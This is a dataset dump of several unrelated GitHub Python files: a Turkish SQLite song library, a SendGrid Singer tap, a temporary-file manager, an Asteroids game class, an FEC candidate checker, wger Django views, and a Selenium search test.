+{"seq_id":"71011677156","text":"import sqlite3\nimport time\n\nclass Sarki():\n def __init__(self,sarkiismi,sanatci,album,produksiyonsirketi,dakika,saniye):\n self.sarkiismi = sarkiismi\n self.sanatci = sanatci\n self.album = album\n self.produksiyonsirketi = produksiyonsirketi\n self.dakika = dakika\n self.saniye = saniye\n self.sure = str(self.dakika) + \":\" + str(self.saniye)\n \n def __str__(self):\n return \"{}/ {}/ {}/ {}/ {}\\n\".format(self.sarkiismi,self.sanatci,self.album,self.produksiyonsirketi,self.dakika,self.saniye)\n \nclass Kutuphane():\n def __init__(self):\n self.baglanti = sqlite3.connect(\"şarkıkütüphanesi.db\")\n self.imlec = self.baglanti.cursor()\n self.imlec.execute(\"Create Table If not exists Sarkilar(İsim TEXT,Sanatci TEXT,Album TEXT,Produksiyonsirketi TEXT,Dakikasüre INT,Saniyesüre INT)\")\n self.baglanti.commit()\n def baglantikes(self):\n self.baglanti.close()\n def bilgilerigoster(self):\n self.imlec.execute(\"Select * From Sarkilar\")\n a = self.imlec.fetchall()\n print(\"(Sıralama: Şarkı ismi/ Sanatçı/ Albüm/ Prodüksiyon şirketi/ Şarkı süresi)\\n\")\n for i in a:\n print(Sarki(i[0],i[1],i[2],i[3],i[4],i[5]))\n \n def sarkiekle(self):\n print(\"Lütfen sizden istenilen bilgileri uygun yerlere yazın.)\")\n time.sleep(2)\n sarkiismi = input(\"Şarkı ismi:\")\n if (sarkiismi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n sanatci = str(input(\"Sanatçı adı:\"))\n if(sarkiismi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n album = str(input(\"Albüm adı:\"))\n if (sarkiismi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n produksiyonsirketi = str(input(\"Prodüksiyon şirketi:\"))\n if (produksiyonsirketi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n try:\n sarkisuresidakika = int(input(\"Şarkı süresi(dakika):\"))\n if (sarkiismi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n sarkisuresisaniye = int(input(\"Şarkı süresi(saniye):\"))\n if (sarkiismi == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n except (ValueError):\n print(\"Lütfen rakam giriniz.\\n\")\n return Kutuphane.sarkiekle()\n \n print(\"Şarkı ekleniyor...\")\n time.sleep(2)\n self.imlec.execute(\"Insert into Sarkilar Values(?,?,?,?,?,?)\",(sarkiismi,sanatci,album,produksiyonsirketi,sarkisuresidakika,sarkisuresisaniye))\n self.baglanti.commit()\n print(\"Şarkı eklendi...\")\n \n def sarkisil(self):\n print(\"Şarkılar:\")\n self.imlec.execute(\"Select İsim From Sarkilar\")\n a = self.imlec.fetchall()\n if (len(a) == 0):\n print(\"Şarkı listesi boş\")\n return\n \n for i in a:\n print(\"-\" + i[0])\n for i in a:\n isim = input(\"Silmek istediğiniz şarkının ismini giriniz:\")\n if (isim == \"q\"):\n print(\"Geri dönülüyor...\")\n time.sleep(2)\n return\n \n elif (i[0] == isim):\n print(\"Şarkı siliniyor...\")\n time.sleep(2)\n self.imlec.execute(\"Delete From Sarkilar Where İsim = ?\",(isim,))\n self.baglanti.commit()\n print(\"Şarkı silindi.\")\n \n elif (i[0] != isim):\n print(\"Böyle bir isimde şarkı kütüphanede yok.\")\n continue\n \n def toplamsure(self):\n self.imlec.execute(\"Select Dakikasüre, Saniyesüre From Sarkilar\")\n a = self.imlec.fetchall()\n geneltoplamdakika = 0\n geneltoplamsaniye = 0\n for i in a:\n geneltoplamdakika += i[0]\n geneltoplamsaniye += i[0]\n while True:\n if(geneltoplamsaniye >= 60):\n x = geneltoplamsaniye // 60\n geneltoplamsaniye %= 60\n geneltoplamdakika += x\n print(geneltoplamdakika,\"dakika\", geneltoplamsaniye,\"saniye\")\n else:\n return False\n def yardim(self):\n print(\"İşlemler:\\n\\tKütüphanedeki şarkıları görmek için:(Şarkıları göster),\\n\\tKütüphaneye şarkı eklemek için:(Şarkı ekle),\\n\\tKütüphaneden şarkı silmek için:(Şarkı sil),\\n\\tKütüphanedeki toplam şarkı süresini görmek için: (Toplam süreyi göster)yazınız.\")\n \nkutuphane = Kutuphane()\nprint(\"\\tŞarkı kütüphanesi v1.0\")\ntime.sleep(1)\nprint(\"\\n\\t Hoşgeldiniz\\n\\n(Yardım almak istiyorsanız(h), çıkmak istiyorsanız(q) tuşuna basın.)\")\nwhile True:\n print(\"******************************\\n\")\n islem = input(\"----->\")\n print(\"-------------------------\\nİşlem yapılıyor,lütfen bekleyiniz...\\n---------------------------\")\n time.sleep(2)\n if(islem == \"q\" or islem == \"Q\"):\n print(\"Uygulamadan çıkılıyor...\")\n time.sleep(2)\n print(\"\\t Hoşçakalın\")\n break\n \n elif(islem == \"h\" or islem == \"H\"):\n kutuphane.yardim()\n \n elif(islem == \"Şarkıları göster\" or islem == \"ŞARKILARI GÖSTER\" or islem == \"şarkıları göster\"):\n print(\"Şarkılar:\")\n kutuphane.bilgilerigoster()\n \n elif(islem == \"Şarkı ekle\" or islem == \"ŞARKI EKLE\" or islem == \"şarkı ekle\"):\n kutuphane.sarkiekle()\n \n elif(islem == \"Şarkı sil\" or işlem == \"ŞARKI SİL\" or islem == \"şarkı sil\"):\n kutuphane.sarkisil()\n \n elif(islem == \"Toplam süreyi göster\" or islem == \"TOPLAM SÜREYİ GÖSTER\" or islem == \"toplam süreyi göster\"):\n kutuphane.toplamsure()\n \n else:\n print(\"Geçersiz işlem\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mervesenn/Python-proje","sub_path":"sqlite veritabanı/şarkı.py","file_name":"şarkı.py","file_ext":"py","file_size_in_byte":6165,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"25278702122","text":"import os\nimport json\nfrom collections import namedtuple\nimport singer\n\n\nclass Scopes(object):\n source = 'auth_check'\n endpoint = 'https://api.sendgrid.com/v3/scopes'\n scopes = [\n 'suppression.read',\n 'asm.groups.read',\n 'marketing_campaigns.read',\n 'templates.read',\n 'templates.versions.read'\n ]\n\n\nclass IDS(object):\n GLOBAL_SUPPRESSIONS = \"global_suppressions\"\n GROUPS_ALL = \"groups_all\"\n GROUPS_MEMBERS = \"groups_members\"\n CONTACTS = \"contacts\"\n LISTS_ALL = \"lists_all\"\n LISTS_MEMBERS = \"lists_members\"\n SEGMENTS_ALL = \"segments_all\"\n SEGMENTS_MEMBERS = \"segments_members\"\n TEMPLATES_ALL = \"templates_all\"\n INVALIDS = \"invalids\"\n BOUNCES = \"bounces\"\n BLOCKS = \"blocks\"\n SPAM_REPORTS = \"spam_reports\"\n CAMPAIGNS = \"campaigns\"\n\n\nstream_ids = [getattr(IDS, x) for x in dir(IDS)]\n\nPK_FIELDS = {\n IDS.GLOBAL_SUPPRESSIONS: [\"email\"],\n IDS.GROUPS_ALL: [\"id\"],\n IDS.GROUPS_MEMBERS: [\"email\"],\n IDS.CONTACTS: [\"id\"],\n IDS.LISTS_ALL: [\"id\"],\n IDS.LISTS_MEMBERS: [\"id\"],\n IDS.SEGMENTS_ALL: [\"id\"],\n IDS.SEGMENTS_MEMBERS: [\"id\"],\n IDS.TEMPLATES_ALL: [\"id\"],\n IDS.INVALIDS: [\"email\"],\n IDS.BOUNCES: [\"email\"],\n IDS.BLOCKS: [\"email\"],\n IDS.SPAM_REPORTS: [\"email\"],\n IDS.CAMPAIGNS: [\"id\"],\n}\n\n\nclass BOOKMARKS(object):\n GLOBAL_SUPPRESSIONS = [IDS.GLOBAL_SUPPRESSIONS, \"end_time\"]\n GROUPS_MEMBERS = [IDS.GROUPS_MEMBERS, \"member_count\"]\n CONTACTS = [IDS.CONTACTS, \"timestamp\"]\n LISTS_MEMBERS = [IDS.LISTS_MEMBERS, \"member_count\"]\n SEGMENTS_MEMBERS = [IDS.SEGMENTS_MEMBERS, \"member_count\"]\n INVALIDS = [IDS.INVALIDS, \"end_time\"]\n BOUNCES = [IDS.BOUNCES, \"end_time\"]\n BLOCKS = [IDS.BLOCKS, \"end_time\"]\n SPAM_REPORTS = [IDS.SPAM_REPORTS, \"end_time\"]\n\n\nStream = namedtuple(\"Stream\", (\"tap_stream_id\", \"bookmark\", \"endpoint\"))\nSTREAMS = [\n Stream(IDS.GLOBAL_SUPPRESSIONS, BOOKMARKS.GLOBAL_SUPPRESSIONS, 'https://api.sendgrid.com/v3/suppression/unsubscribes'),\n Stream(IDS.GROUPS_ALL, None, 'https://api.sendgrid.com/v3/asm/groups'),\n Stream(IDS.GROUPS_MEMBERS, BOOKMARKS.GROUPS_MEMBERS, 'https://api.sendgrid.com/v3/asm/groups/{}/suppressions'),\n Stream(IDS.CONTACTS, BOOKMARKS.CONTACTS, 'https://api.sendgrid.com/v3/contactdb/recipients/search'),\n Stream(IDS.LISTS_ALL, None, 'https://api.sendgrid.com/v3/contactdb/lists'),\n Stream(IDS.LISTS_MEMBERS, BOOKMARKS.LISTS_MEMBERS, 'https://api.sendgrid.com/v3/contactdb/lists/{}/recipients'),\n Stream(IDS.SEGMENTS_ALL, None, 'https://api.sendgrid.com/v3/contactdb/segments'),\n Stream(IDS.SEGMENTS_MEMBERS, BOOKMARKS.SEGMENTS_MEMBERS, 'https://api.sendgrid.com/v3/contactdb/segments/{}/recipients'),\n Stream(IDS.TEMPLATES_ALL, None, 'https://api.sendgrid.com/v3/templates'),\n Stream(IDS.INVALIDS, BOOKMARKS.INVALIDS, 'https://api.sendgrid.com/v3/suppression/invalid_emails'),\n Stream(IDS.BOUNCES, BOOKMARKS.BOUNCES, 'https://api.sendgrid.com/v3/suppression/bounces'),\n Stream(IDS.BLOCKS, BOOKMARKS.BLOCKS, 'https://api.sendgrid.com/v3/suppression/blocks'),\n Stream(IDS.SPAM_REPORTS, BOOKMARKS.SPAM_REPORTS, 'https://api.sendgrid.com/v3/suppression/spam_reports'),\n Stream(IDS.CAMPAIGNS, None, 'https://api.sendgrid.com/v3/campaigns'),\n]\n\n\ndef get_abs_path(path):\n return os.path.join(os.path.dirname(os.path.realpath(__file__)), path)\n\n\ndef load_schema(stream_id):\n path = 'schemas/{}.json'\n return json.load(open(get_abs_path(path.format(stream_id))))\n\n\ndef load_and_write_schema(tap_stream_id):\n schema = load_schema(tap_stream_id)\n singer.write_schema(tap_stream_id, schema, PK_FIELDS[tap_stream_id])\n\n\ndef write_schema(tap_stream_id, schema):\n singer.write_schema(tap_stream_id, schema.to_dict(), PK_FIELDS[tap_stream_id])","repo_name":"singer-io/tap-sendgrid","sub_path":"tap_sendgrid/streams.py","file_name":"streams.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"71512759716","text":"r\"\"\"\nAuxiliary File System\n=====================\n\nOverview\n--------\n\nTo build corpus dataset, each procedure requires temporary files to store data\nin disk, not memory. While the scale of each corpus is increased, we faced to\nhandle enormously large files. There is no problem to save all temporary files\nand remove after the build with small corpora. However, if we store them with\nextremely large ones thoughtlessly, **low disk space error** may be occurred.\n\nHence, we designed **Auxiliary File System** which manages temporary (or\nliterally, auxiliary) files simply and automatically. It manages whole\nauxiliary files created from their manager. The manager records their\nauxiliary-scope level to determine which one is currently in unused state and\nremoves the files that are in unused state for cleaning-up. Every\n:class:`Builder `\\s use :class:`AuxiliaryFile`\\s\nin build.\n\nReference\n---------\n\n.. autoclass:: AuxiliaryFile\n :members:\n\n.. autoclass:: AuxiliaryFileManager\n :members:\n\"\"\"\n\nimport os\nimport shutil\nimport random\nimport string\nimport contextlib\nfrom typing import IO, List, Container, ContextManager\n\n\nclass AuxiliaryFile:\n \"\"\"An auxiliary file object.\n\n Note:\n It is not recommended to create this class directly without\n :class:`AuxiliaryFileManager`.\n\n Args:\n name: auxiliary file name.\n \"\"\"\n def __init__(self, name: str):\n self.name = name\n self.locked = False\n\n def lock(self):\n \"\"\"Lock the file to prevent from deleting.\"\"\"\n self.locked = True\n return self\n\n def open(self, mode: str = 'r') -> IO:\n \"\"\"Open the auxiliary file.\"\"\"\n return open(self.name, mode)\n\n @staticmethod\n @contextlib.contextmanager\n def opens(files: List['AuxiliaryFile'], mode: str = 'r'\n ) -> ContextManager[List[IO]]:\n \"\"\"Open multiple auxiliary files at once.\"\"\"\n files = [f.open(mode) for f in files]\n try:\n yield files\n finally:\n for f in files:\n f.close()\n\n\nclass AuxiliaryFileManager:\n \"\"\"Auxiliary file manager.\n\n Args:\n parent: parent workspace directory which will be used for\n containing auxiliary files.\n \"\"\"\n def __init__(self, parent: str):\n self.files = []\n self.parent = parent\n self.auxiliary_level = 0\n\n # Create parent workspace directory.\n os.makedirs(parent)\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n self.close()\n\n def _create_random_filename(self) -> str:\n while True:\n # Create random filename which is a combination of digits and lower\n # case letters.\n name = os.path.join(self.parent, ''.join(\n random.choices(string.digits + string.ascii_lowercase, k=16)))\n\n if all(name != af.name for af, _ in self.files):\n return name\n\n def create(self) -> AuxiliaryFile:\n \"\"\"Create new auxiliary file.\n\n The auxiliary file is usually used as a temporary file. It will be\n created in ``parent`` directory and have current **auxiliary level**. \n\n Returns:\n new auxiliary file object.\n \"\"\"\n file = AuxiliaryFile(self._create_random_filename())\n self.files.append((file, self.auxiliary_level))\n\n # Create an empty file.\n with open(file.name, 'w') as fp:\n fp.close()\n\n return file\n\n def synchronize(self, files: Container[AuxiliaryFile]):\n \"\"\"Synchronize auxiliary levels to current.\n\n Some files created in lower :meth:`auxiliary_scope `\n need to be handled as higher-scope ones. It synchronizes the auxiliary\n levels of the given files to current scope level.\n \"\"\"\n for i, (af, level) in enumerate(self.files):\n if af in files:\n self.files[i] = (af, self.auxiliary_level)\n\n @contextlib.contextmanager\n def auxiliary_scope(self):\n \"\"\"Returns a context manager which increases the auxiliary level.\"\"\"\n self.auxiliary_level += 1\n try:\n yield\n finally:\n self.auxiliary_level -= 1\n\n def clear(self):\n \"\"\"Remove unused auxiliary files.\n\n AuxiliaryFileManager automatically traces unused auxiliary files and\n remove them to manage the disk space. The manager determines that\n auxiliary files which are non-locked and have lower auxiliary-scope\n level -- not created in current scope -- are in unused state and\n unnecessary ones. If some files should be preserved, use\n :meth:`lock ` and\n :meth:`synchronize `.\n \"\"\"\n for af, level in self.files.copy():\n # Skip clearing high-level files.\n if level < self.auxiliary_level:\n continue\n\n if af.locked:\n # If the auxiliary file is locked, then skip deleting and\n # unlock it.\n af.locked = False\n else:\n self.files.remove((af, level))\n os.remove(af.name)\n\n def close(self):\n \"\"\"Close the auxiliary manager and cleanup the workspace directory.\"\"\"\n # Remove the parent workspace directory and its sub-files.\n shutil.rmtree(self.parent)\n","repo_name":"affjljoo3581/langumo","sub_path":"src/langumo/utils/auxiliary.py","file_name":"auxiliary.py","file_ext":"py","file_size_in_byte":5392,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"0"}
+{"seq_id":"41840701347","text":"import math\nfrom abc import ABC\nfrom abc import abstractmethod\nfrom Velocity import Velocity\nfrom Point import Point\n\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\n\nclass FlyingObject(ABC):\n \"\"\"\n Class: Flying_object (BASE CLASS)\n Purpose: Contains information relevant to ALL obejcts that move across the screen\n \"\"\"\n def __init__(self):\n self.center = Point()\n self.velocity = Velocity()\n self.radius = 0\n self.angle = 0\n self.alive = True\n\n def advance(self):\n \"\"\"\n Moves the target across the screen\n \"\"\" \n self.center.x = self.center.x + self.velocity.dx\n self.center.y = self.center.y + self.velocity.dy\n\n @abstractmethod # All objects must be drawn to the screen\n def draw(self):\n pass\n \n def calculate_velocity(self, speed):\n \"\"\"\n Breaks RESULTANT velocity into components relative to its current angle of \n direction and adds them to the objects velocity components\n param: the RESULTATNT velocity of the object who's velocity components are being \n calculated must be passed along with object\n (please initialize contstant RESULTATNT velocities at the top)\n \"\"\"\n self.velocity.dx += math.cos(math.radians(self.angle)) * speed\n self.velocity.dy += math.sin(math.radians(self.angle)) * speed\n \n def wrap(self):\n \"\"\"\n Check each object to see if it has left the screen.\n If it has, put it on the other side of the screen.\n \"\"\"\n if self.center.x > SCREEN_WIDTH:\n self.center.x = 0\n if self.center.y > SCREEN_HEIGHT:\n self.center.y = 0\n if self.center.x < 0:\n self.center.x = SCREEN_WIDTH\n if self.center.y < 0:\n self.center.y = SCREEN_HEIGHT\n\n","repo_name":"ttuttlej/Python-Asteroids-Game","sub_path":"Asteroids - Mass Effect/Asteroids/FlyingObject.py","file_name":"FlyingObject.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19886131745","text":"#!/usr/bin/env python3\n\n\"\"\"Check FEC records for new federal candidates\n\nrun as: python3 scrapers/fed-finance-reports/check-candidate-updates.py\n\"\"\"\nimport requests\nimport pandas as pd\nimport json\n\nfrom functions import open_json\nfrom functions import get_mt_federal_candidates\n\nREFERENCE_PATH = './scrapers/fed-finance-reports/data/candidates.json' # rel to project root\n\ndef check_candidates_for_updates(candidates, reference_path):\n '''\n Returns human-readable list of candidates added since last full data scrape. (Updated w/ fetch script)\n '''\n prev_candidates = pd.read_json(reference_path)\n \n prev_ids = list(prev_candidates['CAND_NAME'].unique())\n cur_ids = list(candidates['CAND_NAME'].unique())\n \n added_candidates = candidates[~candidates['CAND_NAME'].isin(prev_ids)]\n dropped_candidates = prev_candidates[~prev_candidates['CAND_NAME'].isin(prev_ids)]\n \n return {\n 'added': list(added_candidates['CAND_NAME']),\n 'dropped': list(dropped_candidates['CAND_NAME']),\n }\n\n\n\ndef main():\n candidates = get_mt_federal_candidates()\n \n changes = check_candidates_for_updates(candidates, REFERENCE_PATH)\n \n print('Num. candidates:', len(candidates))\n print('Changes:', json.dumps(changes, indent=4))\n\nif __name__ == '__main__':\n main()","repo_name":"eidietrich/mt-2020-election","sub_path":"scrapers/fed-finance-reports/check-candidate-updates.py","file_name":"check-candidate-updates.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"19222035400","text":"# -*- coding: utf-8 -*-\n\n# This file is part of wger Workout Manager.\n#\n# wger Workout Manager is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# wger Workout Manager is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n\n# Standard Library\nimport logging\n\n# Django\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import login as django_login\nfrom django.contrib.auth.decorators import login_required\nfrom django.core import mail\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.template.loader import render_to_string\nfrom django.urls import (\n reverse,\n reverse_lazy,\n)\nfrom django.utils.text import slugify\nfrom django.utils.translation import gettext as _\nfrom django.views.generic.edit import FormView\n\n# Third Party\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit\n\n# wger\nfrom wger.core.demo import (\n create_demo_entries,\n create_temporary_user,\n)\nfrom wger.core.forms import (\n FeedbackAnonymousForm,\n FeedbackRegisteredForm,\n)\nfrom wger.core.models import DaysOfWeek\nfrom wger.manager.models import Schedule\n\n\nlogger = logging.getLogger(__name__)\n\n\n# ************************\n# Misc functions\n# ************************\ndef index(request):\n \"\"\"\n Index page\n \"\"\"\n if request.user.is_authenticated:\n return HttpResponseRedirect(reverse('core:dashboard'))\n else:\n return HttpResponseRedirect(reverse('software:features'))\n\n\ndef demo_entries(request):\n \"\"\"\n Creates a set of sample entries for guest users\n \"\"\"\n if not settings.WGER_SETTINGS['ALLOW_GUEST_USERS']:\n return HttpResponseRedirect(reverse('software:features'))\n\n if (\n (\n (not request.user.is_authenticated or request.user.userprofile.is_temporary)\n and not request.session['has_demo_data']\n )\n ):\n # If we reach this from a page that has no user created by the\n # middleware, do that now\n if not request.user.is_authenticated:\n user = create_temporary_user(request)\n django_login(request, user)\n\n # OK, continue\n create_demo_entries(request.user)\n request.session['has_demo_data'] = True\n messages.success(\n request,\n _(\n 'We have created sample workout, workout schedules, weight '\n 'logs, (body) weight and nutrition plan entries so you can '\n 'better see what this site can do. Feel free to edit or '\n 'delete them!'\n )\n )\n return HttpResponseRedirect(reverse('core:dashboard'))\n\n\n@login_required\ndef dashboard(request):\n \"\"\"\n Show the index page, in our case, the last workout and nutritional plan\n and the current weight\n \"\"\"\n\n context = {}\n\n # Load the last workout, either from a schedule or a 'regular' one\n (current_workout, schedule) = Schedule.objects.get_current_workout(request.user)\n\n context['current_workout'] = current_workout\n context['schedule'] = schedule\n\n # Format a bit the days, so it doesn't have to be done in the template\n used_days = {}\n if current_workout:\n for day in current_workout.day_set.select_related():\n for day_of_week in day.day.select_related():\n used_days[day_of_week.id] = day.description\n\n week_day_result = []\n for week in DaysOfWeek.objects.all():\n day_has_workout = False\n\n if week.id in used_days:\n day_has_workout = True\n week_day_result.append((_(week.day_of_week), used_days[week.id], True))\n\n if not day_has_workout:\n week_day_result.append((_(week.day_of_week), _('Rest day'), False))\n\n context['weekdays'] = week_day_result\n\n return render(request, 'index.html', context)\n\n\nclass FeedbackClass(FormView):\n template_name = 'form.html'\n success_url = reverse_lazy('software:about-us')\n\n def get_initial(self):\n \"\"\"\n Fill in the contact, if available\n \"\"\"\n if self.request.user.is_authenticated:\n return {'contact': self.request.user.email}\n return {}\n\n def get_context_data(self, **kwargs):\n \"\"\"\n Set necessary template data to correctly render the form\n \"\"\"\n context = super(FeedbackClass, self).get_context_data(**kwargs)\n context['title'] = _('Feedback')\n return context\n\n def get_form_class(self):\n \"\"\"\n Load the correct feedback form depending on the user\n (either with reCaptcha field or not)\n \"\"\"\n if self.request.user.is_anonymous or self.request.user.userprofile.is_temporary:\n return FeedbackAnonymousForm\n else:\n return FeedbackRegisteredForm\n\n def get_form(self, form_class=None):\n \"\"\"Return an instance of the form to be used in this view.\"\"\"\n\n form = super(FeedbackClass, self).get_form(form_class)\n form.helper = FormHelper()\n form.helper.form_id = slugify(self.request.path)\n form.helper.add_input(Submit('submit', _('Submit'), css_class='btn-success btn-block'))\n form.helper.form_class = 'wger-form'\n return form\n\n def form_valid(self, form):\n \"\"\"\n Send the feedback to the administrators\n \"\"\"\n messages.success(self.request, _('Your feedback was successfully sent. Thank you!'))\n\n context = {'user': self.request.user, 'form_data': form.cleaned_data}\n subject = 'New feedback'\n message = render_to_string('user/email_feedback.html', context)\n mail.mail_admins(subject, message)\n\n return super(FeedbackClass, self).form_valid(form)\n","repo_name":"wger-project/wger","sub_path":"wger/core/views/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":2545,"dataset":"github-code","pt":"0"}
+{"seq_id":"2507195936","text":"import unittest,time,os,platform,logging,sys,traceback\r\nfrom Public.common import DoExcel\r\nfrom Public.pages import OkchemSearchPage\r\nfrom config import globalconfig\r\nfrom BeautifulReport import BeautifulReport\r\nfrom Public.common import send_mail as dd\r\n\r\nurl=DoExcel.File_Location().get_parameter(\"PRE地址\")\r\nproduct_sh=DoExcel.File_Location().get_parameter(\"搜索产品名称\",User_Table =\"Search\")\r\nsupplier_sh=DoExcel.File_Location().get_parameter(\"搜索供应商名称\",User_Table =\"Search\")\r\nnew_sh=DoExcel.File_Location().get_parameter(\"搜索新闻名称\",User_Table =\"Search\")\r\nproduct_exp=DoExcel.File_Location().get_parameter(\"匹配的产品\",User_Table =\"Search\")\r\nsupplier_exp=DoExcel.File_Location().get_parameter(\"匹配的供应商\",User_Table =\"Search\")\r\nnew_exp=DoExcel.File_Location().get_parameter(\"匹配的新闻\",User_Table =\"Search\")\r\nnum=0\r\n\r\n# sys.path.append(os.path.dirname(os.path.abspath(__file__)) + r'\\..')\r\n# logging.basicConfig(level=logging.DEBUG,\r\n# format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\r\n# datefmt='%a, %d %b %Y %H:%M:%S',\r\n# filename='log_test.log',\r\n# filemode='w')\r\n# logger = logging.getLogger()\r\n# logger.level=logging.DEBUG\r\n# logger.addHandler(logging.StreamHandler(sys.stdout))\r\n\r\n\r\nclass TestOkchemSearch(unittest.TestCase):\r\n\r\n def insertStr(self,str_1,a,b):\r\n # 把字符串转为 list\r\n str_list = list(str_1)\r\n # 找到a的位置\r\n nPos = str_list.index(a)\r\n # 在斜杠位置之前 插入要插入的字符b\r\n str_list.insert(nPos,b)\r\n # 将 list 转为 str\r\n str_2 = \"\".join(str_list)\r\n return str_2\r\n \r\n @classmethod\r\n def setUpClass(self):\r\n self.url=url\r\n self.product_sh=product_sh\r\n self.supplier_sh=supplier_sh\r\n self.new_sh = new_sh\r\n self.product_exp=product_exp\r\n self.supplier_exp=supplier_exp\r\n self.new_exp=new_exp\r\n self.BL=OkchemSearchPage.OkchemSearchPage()\r\n\r\n def save_img(self, img_name):\r\n img_path=globalconfig.picture_path1\r\n self.BL.driver.get_screenshot_as_file('{}/{}.png'.format(os.path.abspath(img_path), img_name))\r\n\r\n @BeautifulReport.add_test_img(\"testOkchemSearch_001\")\r\n def testOkchemSearch_001(self):\r\n \"\"\"测试OKCHEM平台搜索产品\"\"\"\r\n self.BL.Search(self.product_sh,\"product\")\r\n a=self.BL.findElement(OkchemSearchPage.OkchemSearchPage.ProductName).text\r\n self.assertEqual(self.product_exp,a)\r\n\r\n @BeautifulReport.add_test_img(\"testOkchemSearch_002\")\r\n def testOkchemSearch_002(self):\r\n \"\"\"测试OKCHEM平台搜索供应商\"\"\"\r\n self.BL.Search(self.supplier_sh,\"suppliers\")\r\n b=self.BL.findElement(OkchemSearchPage.OkchemSearchPage.SupplierName).text\r\n self.assertEqual(self.supplier_exp,b)\r\n\r\n def tearDown(self):\r\n global num\r\n num=num+1\r\n if num>=10:\r\n fangfa='testOkchemSearch_0'+str(num)\r\n xx=getattr(TestOkchemSearch(),fangfa)\r\n self.log =xx.__doc__\r\n elif num<10:\r\n fangfa='testOkchemSearch_00'+str(num)\r\n xx = getattr(TestOkchemSearch(), fangfa)\r\n self.log= xx.__doc__\r\n result = self.defaultTestResult()\r\n self._feedErrorsToResult(result, self._outcome.errors)\r\n error = self.list2reason(result.errors)\r\n failure = self.list2reason(result.failures)\r\n ok = not error and not failure\r\n html=self.BL.driver.title\r\n if not ok:\r\n pattern = '/' if platform != 'Windows' else '\\\\'\r\n if '500 Internal Server Error' in html:\r\n now = time.strftime(\"%Y-%m-%d %H_%M_%S\") # 获取当前时间\r\n screen_path=globalconfig.picture_path # 图片路径地址\r\n screenname = screen_path + pattern + 'screenpicture' + now + '.png'\r\n print(screenname)\r\n self.BL.getPicture(screenname) #进行截图处理\r\n sendEmail = dd.Email() #实例化类\r\n new_pic = sendEmail.newReport(screen_path) #获取最新的截图\r\n content1=result.errors[0][-1]\r\n content=content1.replace('File','
File').replace('During','
During')\r\n sendEmail.email_Text_All(new_pic,\"致命!系统报500错误了!!!\",self.log,content) #发送邮件\r\n self.BL.driver.refresh()\r\n elif 'Site Maintenance' in html:\r\n now = time.strftime(\"%Y-%m-%d %H_%M_%S\") # 获取当前时间\r\n screen_path=globalconfig.picture_path # 图片路径地址\r\n screenname = screen_path +pattern + 'screenpicture' + now + '.png'\r\n print(screenname)\r\n self.BL.getPicture(screenname) #进行截图处理\r\n sendEmail = dd.Email() #实例化类\r\n new_pic = sendEmail.newReport(screen_path) #获取最新的截图\r\n content1=result.errors[0][-1]\r\n content=content1.replace('File','
File').replace('During','
During')\r\n sendEmail.email_Text(new_pic,\"警告!页面显示正在维护中!!!\",self.log,content) #发送邮件\r\n self.BL.driver.refresh()\r\n else:\r\n now = time.strftime(\"%Y-%m-%d %H_%M_%S\") # 获取当前时间\r\n screen_path=globalconfig.picture_path # 图片路径地址\r\n screenname = screen_path +pattern + 'screenpicture' + now + '.png'\r\n print(screenname)\r\n self.BL.getPicture(screenname) #进行截图处理\r\n sendEmail = dd.Email() #实例化类\r\n new_pic = sendEmail.newReport(screen_path) #获取最新的截图\r\n content1=result.errors[0][-1]\r\n content=content1.replace('File','
File').replace('During','
During')\r\n sendEmail.email_Text(new_pic,\"注意!测试用例执行失败了!!!\",self.log,content) #发送邮件\r\n self.BL.driver.refresh()\r\n self.BL.driver.back()\r\n\r\n @classmethod\r\n def tearDownClass(self):\r\n self.BL.driver.quit()\r\n\r\n def list2reason(self, exc_list):\r\n if exc_list and exc_list[-1][0] is self:\r\n return exc_list[-1][1]\r\n\r\n\r\n","repo_name":"huangkanghk/Autor_XC","sub_path":"TestCase/TC_OkchemSearch.py","file_name":"TC_OkchemSearch.py","file_ext":"py","file_size_in_byte":6643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
